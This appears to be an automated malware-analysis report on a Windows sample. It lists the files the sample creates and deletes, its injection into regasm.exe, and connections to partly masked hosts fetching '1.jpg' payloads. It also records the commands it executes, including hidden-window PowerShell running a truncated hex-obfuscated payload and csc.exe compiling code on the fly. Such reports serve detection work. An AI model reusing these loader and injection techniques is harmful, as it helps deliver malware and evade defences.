Technical Information
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\regasm.exe
Modifies file system
Creates the following files
- %TEMP%\sh_e457bac61742446eaa0e2f7dedefe668.cmd
- %TEMP%\l0gmylcv\l0gmylcv.0.cs
- %TEMP%\l0gmylcv\l0gmylcv.cmdline
- %TEMP%\l0gmylcv\l0gmylcv.out
- %TEMP%\l0gmylcv\csc3e027314484342c08ea692d82a2d3786.tmp
- %TEMP%\res4aff.tmp
- %TEMP%\l0gmylcv\l0gmylcv.dll
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
- %TEMP%\ltcnkty5\ltcnkty5.0.cs
- %TEMP%\ltcnkty5\ltcnkty5.cmdline
- %TEMP%\ltcnkty5\ltcnkty5.out
- %TEMP%\ltcnkty5\csc92d796c5190a466c959aad679425f566.tmp
- %TEMP%\res6c13.tmp
- %TEMP%\ltcnkty5\ltcnkty5.dll
Deletes following files that it created itself
- %TEMP%\res4aff.tmp
- %TEMP%\l0gmylcv\csc3e027314484342c08ea692d82a2d3786.tmp
- %TEMP%\l0gmylcv\l0gmylcv.out
- %TEMP%\l0gmylcv\l0gmylcv.cmdline
- %TEMP%\l0gmylcv\l0gmylcv.0.cs
- %TEMP%\l0gmylcv\l0gmylcv.dll
- %TEMP%\sh_e457bac61742446eaa0e2f7dedefe668.cmd
- %TEMP%\res6c13.tmp
- %TEMP%\ltcnkty5\csc92d796c5190a466c959aad679425f566.tmp
- %TEMP%\ltcnkty5\ltcnkty5.dll
- %TEMP%\ltcnkty5\ltcnkty5.out
- %TEMP%\ltcnkty5\ltcnkty5.0.cs
- %TEMP%\ltcnkty5\ltcnkty5.cmdline
Network activity
Connects to
- '19#.#55.195.150':80
- '20#.#4.103.130':80
- 'si#####insignia.co.za':80
- 'ra#.####ubusercontent.com':443
- 'x1.#.lencr.org':80
- '45.##4.98.182':5173
TCP
HTTP GET requests
- http://19#.#55.195.150/img/1.jpg
- http://20#.#4.103.130/img/1.jpg
- http://si#####insignia.co.za/kizzy/1.jpg
- http://x1.#.lencr.org/
Other
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK si#####insignia.co.za
- DNS ASK ra#.####ubusercontent.com
- DNS ASK x1.#.lencr.org
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\sh_e457bac61742446eaa0e2f7dedefe668.cmd"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=89-21;$sAmKR8I4=''EWblvbfTqAPBl'';$x9JWG3=''8988a6a5a8a1a...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$j=89-21;$sAmKR8I4='EWblvbfTqAPBl';$x9JWG3='8988a6a5a8a1a390fbb49cc0e29cd4b3e2b7f5fecdefd0a1bbbf9c89adabf29ca986afc5bf86a58099a1a8bb95f6c48ebfbcd0e8a898bc95a8baa590bcc3a18abf9b98939b8...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\l0gmylcv\l0gmylcv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4AFF.tmp" "%TEMP%\l0gmylcv\CSC3E027314484342C08EA692D82A2D3786.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\ltcnkty5\ltcnkty5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6C13.tmp" "%TEMP%\ltcnkty5\CSC92D796C5190A466C959AAD679425F566.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\regasm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$j=89-21;$sAmKR8I4='EWblvbfTqAPBl';$x9JWG3='8988a6a5a8a1a390fbb49cc0e29cd4b3e2b7f5fecdefd0a1bbbf9c89adabf29ca986afc5bf86a58099a1a8bb95f6c48ebfbcd0e8a898bc95a8baa590bcc3a18abf9b98939b8...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\l0gmylcv\l0gmylcv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4AFF.tmp" "%TEMP%\l0gmylcv\CSC3E027314484342C08EA692D82A2D3786.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\ltcnkty5\ltcnkty5.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6C13.tmp" "%TEMP%\ltcnkty5\CSC92D796C5190A466C959AAD679425F566.TMP"' (with hidden window)
